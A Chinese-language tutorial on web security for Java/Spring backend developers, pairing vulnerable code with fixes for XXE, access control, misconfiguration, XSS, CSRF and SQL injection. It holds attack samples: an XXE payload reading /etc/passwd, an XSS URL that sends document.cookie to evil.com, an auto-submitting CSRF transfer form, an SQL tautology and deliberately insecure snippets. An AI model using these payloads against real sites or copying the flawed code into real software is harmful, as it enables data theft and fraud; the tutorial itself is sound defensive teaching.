Web安全教程 - 后端开发人员指南

XXE攻击示例

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&entity xxe; </foo>

访问控制漏洞示例

// 错误示例：未检查用户是否有权限访问所请求的资源
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
    return accountRepository.findById(accountId).orElseThrow();
}

// 正确示例：添加权限验证
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
    // 获取当前用户
    User user = getCurrentUser();
    
    // 检查用户是否有权限访问该账户
    if (!user.getId().equals(accountId) && !user.isAdmin()) {
        throw new AccessDeniedException("您无权访问此账户");
    }
    
    return accountRepository.findById(accountId).orElseThrow();
}

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/public/**").permitAll()
                .antMatchers("/admin/**").hasRole("ADMIN")
                .antMatchers("/user/**").hasAnyRole("USER", "ADMIN")
                .antMatchers("/api/users/{id}/**").access("@userSecurity.checkUserId(authentication, #id)")
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .loginPage("/login")
                .permitAll();
    }
}

// 自定义访问决策器
@Component
public class UserSecurity {
    public boolean checkUserId(Authentication authentication, Long id) {
        UserDetails userDetails = (UserDetails) authentication.getPrincipal();
        User user = ((CustomUserDetails) userDetails).getUser();
        
        // 允许用户访问自己的资源或管理员访问任何资源
        return user.getId().equals(id) || hasAdminRole(authentication);
    }
    
    private boolean hasAdminRole(Authentication authentication) {
        return authentication.getAuthorities().stream()
                .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"));
    }
}

# 错误的Spring Boot应用配置示例
# 1. 在生产环境中启用H2控制台
spring.h2.console.enabled=true
spring.h2.console.path=/h2-console

# 2. 在生产环境中启用调试模式
debug=true
spring.devtools.add-properties=true

# 3. 关闭CSRF保护
spring.security.csrf.disabled=true

# 4. 配置不安全的会话Cookie
server.servlet.session.cookie.secure=false
server.servlet.session.cookie.http-only=false

# 生产环境安全配置示例

# 禁用开发工具和调试功能
debug=false
spring.devtools.add-properties=false

# 禁用H2控制台
spring.h2.console.enabled=false

# 启用HTTPS和HTTP/2
server.ssl.enabled=true
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password=${SSL_KEY_STORE_PASSWORD}
server.ssl.key-store-type=PKCS12
server.http2.enabled=true

# 配置安全Cookie
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict

# 配置安全响应头
server.compression.enabled=true
server.compression.mime-types=text/html,text/xml,text/plain,text/css,application/javascript,application/json
server.compression.min-response-size=1024

# 错误处理 - 不泄露敏感信息
server.error.include-stacktrace=never
server.error.include-exception=false
server.error.include-message=never

# 配置日志级别，避免敏感信息泄露
logging.level.root=WARN
logging.level.org.springframework.web=INFO
logging.level.com.myapp=INFO

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            // 其他安全配置...
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' data:; style-src 'self' https://trusted-cdn.com; frame-ancestors 'none';")
                .and()
                .referrerPolicy(ReferrerPolicyHeaderWriter.ReferrerPolicy.SAME_ORIGIN)
                .and()
                .permissionsPolicy("camera=(), microphone=(), geolocation=(), payment=()")
                .and()
                .frameOptions().deny()
                .and()
                .xssProtection()
                .and()
                .cacheControl();
    }
}

@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    // 错误：未对用户输入进行转义
    model.addAttribute("searchQuery", query);
    // ...执行搜索逻辑
    return "searchResults"; 
}

<!-- 错误：直接输出未转义的用户输入 -->
<div>
    您搜索的是: <span th:utext="${searchQuery}"></span>
</div>

http://example.com/search?query=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    // 输入验证（可根据需要扩展）
    if (query.length() > 100) {
        query = query.substring(0, 100); // 限制长度
    }
    // 使用Thymeleaf的默认转义机制
    model.addAttribute("searchQuery", query);
    // ...执行搜索逻辑
    return "searchResults";
}

<!-- 正确：使用 th:text 而不是 th:utext 自动转义用户输入 -->
<div>
    您搜索的是: <span th:text="${searchQuery}"></span>
</div>

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            // 其他安全配置...
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; " +
                                      "style-src 'self' https://trusted-cdn.com; img-src 'self' data:; " +
                                      "connect-src 'self'; font-src 'self'; object-src 'none'; " +
                                      "media-src 'self'; frame-src 'none';")
                .and()
                .xssProtection()
                .block(true);
    }
}

<dependency>
    <groupId>org.owasp.encoder</groupId>
    <artifactId>encoder</artifactId>
    <version>1.2.3</version>
</dependency>

import org.owasp.encoder.Encode;

@GetMapping("/profile")
@ResponseBody
public String displayUserProfile(@RequestParam String username) {
    User user = userService.findByUsername(username);
    
    // 根据上下文使用适当的编码方法
    String htmlContent = "<div class='profile'>" +
                         "<h2>用户信息: " + Encode.forHtml(user.getUsername()) + "</h2>" +
                         "<script>var userId = '" + Encode.forJavaScript(user.getId()) + "';</script>" +
                         "<a href='" + Encode.forHtmlAttribute(user.getWebsite()) + "'>个人网站</a>" +
                         "</div>";
    
    return htmlContent;
}

@Controller
public class TransferController {

    @PostMapping("/transfer")
    public String transferFunds(
            @RequestParam String toAccount, 
            @RequestParam BigDecimal amount) {
        
        // 获取当前用户
        UserDetails user = (UserDetails) SecurityContextHolder.getContext()
                             .getAuthentication().getPrincipal();
        
        // 执行转账操作
        accountService.transfer(user.getUsername(), toAccount, amount);
        
        return "redirect:/transfer/success";
    }
}

<!-- 受害者访问此页面后会自动提交表单 -->
<html>
<body>
  <h1>赢取免费奖品!</h1>
  <form id="transfer-form" action="https://bank.example.com/transfer" method="POST">
    <input type="hidden" name="toAccount" value="attacker-account" />
    <input type="hidden" name="amount" value="1000.00" />
  </form>
  <script>
    document.getElementById("transfer-form").submit();
  </script>
</body>
</html>

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf() // 默认启用CSRF保护
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                // 使用cookie存储CSRF令牌，允许JS读取以便在AJAX请求中使用
            .and()
            // 其他安全配置...
    }
}

<form th:action="@{/transfer}" method="post">
    <!-- CSRF令牌会自动添加 -->
    <input type="text" name="toAccount" />
    <input type="number" name="amount" />
    <button type="submit">转账</button>
</form>

// 获取CSRF令牌
const csrfToken = document.querySelector('meta[name="_csrf"]').getAttribute('content');
const csrfHeader = document.querySelector('meta[name="_csrf_header"]').getAttribute('content');

// 使用fetch API发送请求
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        [csrfHeader]: csrfToken  // 添加CSRF令牌到头部
    },
    body: JSON.stringify({
        toAccount: 'recipient',
        amount: 500
    })
});

@Configuration
public class SessionConfig {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setSameSite("Lax"); // 可选值: None, Lax, Strict
        serializer.setUseSecureCookie(true); // 需要HTTPS
        return serializer;
    }

    @Bean
    public ServletContextInitializer servletContextInitializer() {
        return servletContext -> {
            servletContext.getSessionCookieConfig().setSecure(true);
            servletContext.getSessionCookieConfig().setHttpOnly(true);
        };
    }
}

// 不安全的代码 - 易受SQL注入攻击
public User findUserByUsername(String username) {
    Connection conn = dataSource.getConnection();
    
    // 危险：直接拼接用户输入到SQL查询
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    
    Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    
    if (rs.next()) {
        return new User(
            rs.getLong("id"),
            rs.getString("username"),
            rs.getString("email")
        );
    }
    return null;
}

SELECT * FROM users WHERE username = '' OR '1'='1'

// 安全的代码 - 使用参数化查询
public User findUserByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = ?";
    
    try (Connection conn = dataSource.getConnection();
         PreparedStatement pstmt = conn.prepareStatement(sql)) {
        
        // 安全：使用参数化查询，参数值由JDBC驱动处理
        pstmt.setString(1, username);
        
        try (ResultSet rs = pstmt.executeQuery()) {
            if (rs.next()) {
                return new User(
                    rs.getLong("id"),
                    rs.getString("username"),
                    rs.getString("email")
                );
            }
            return null;
        }
    }
}

@Repository
public class UserRepository {
    
    @PersistenceContext
    private EntityManager entityManager;
    
    public User findByUsername(String username) {
        // 使用JPA的参数化查询
        return entityManager.createQuery(
                "SELECT u FROM User u WHERE u.username = :username", User.class)
            .setParameter("username", username)
            .getSingleResult();
    }
}

public interface UserRepository extends JpaRepository {
    // Spring Data自动生成安全的查询实现
    User findByUsername(String username);
    
    // 对于复杂查询，可以使用@Query
    @Query("SELECT u FROM User u WHERE u.email = :email")
    User findByEmail(@Param("email") String email);
}

<!-- UserMapper.xml -->
<mapper namespace="com.example.mapper.UserMapper">
    <select id="findByUsername" resultType="User">
        SELECT * FROM users WHERE username = #{username}
        <!-- #{username} 表示使用参数化查询，是安全的 -->
        <!-- ${username} 表示字符串替换，容易导致SQL注入，应避免使用 -->
    </select>
</mapper>

// 安全地处理动态排序
public List findProductsSorted(String sortColumn, String sortOrder) {
    // 白名单验证
    List allowedColumns = Arrays.asList("name", "price", "created_at");
    if (!allowedColumns.contains(sortColumn)) {
        sortColumn = "created_at"; // 默认排序字段
    }
    
    // 验证排序方向
    if (!"ASC".equalsIgnoreCase(sortOrder) && !"DESC".equalsIgnoreCase(sortOrder)) {
        sortOrder = "DESC"; // 默认排序方向
    }
    
    String sql = "SELECT * FROM products ORDER BY " + sortColumn + " " + sortOrder;
    // 此处使用验证过的值构建SQL是安全的
    
    try (Connection conn = dataSource.getConnection();
         Statement stmt = conn.createStatement();
         ResultSet rs = stmt.executeQuery(sql)) {
        
        // 处理结果集...
    }
}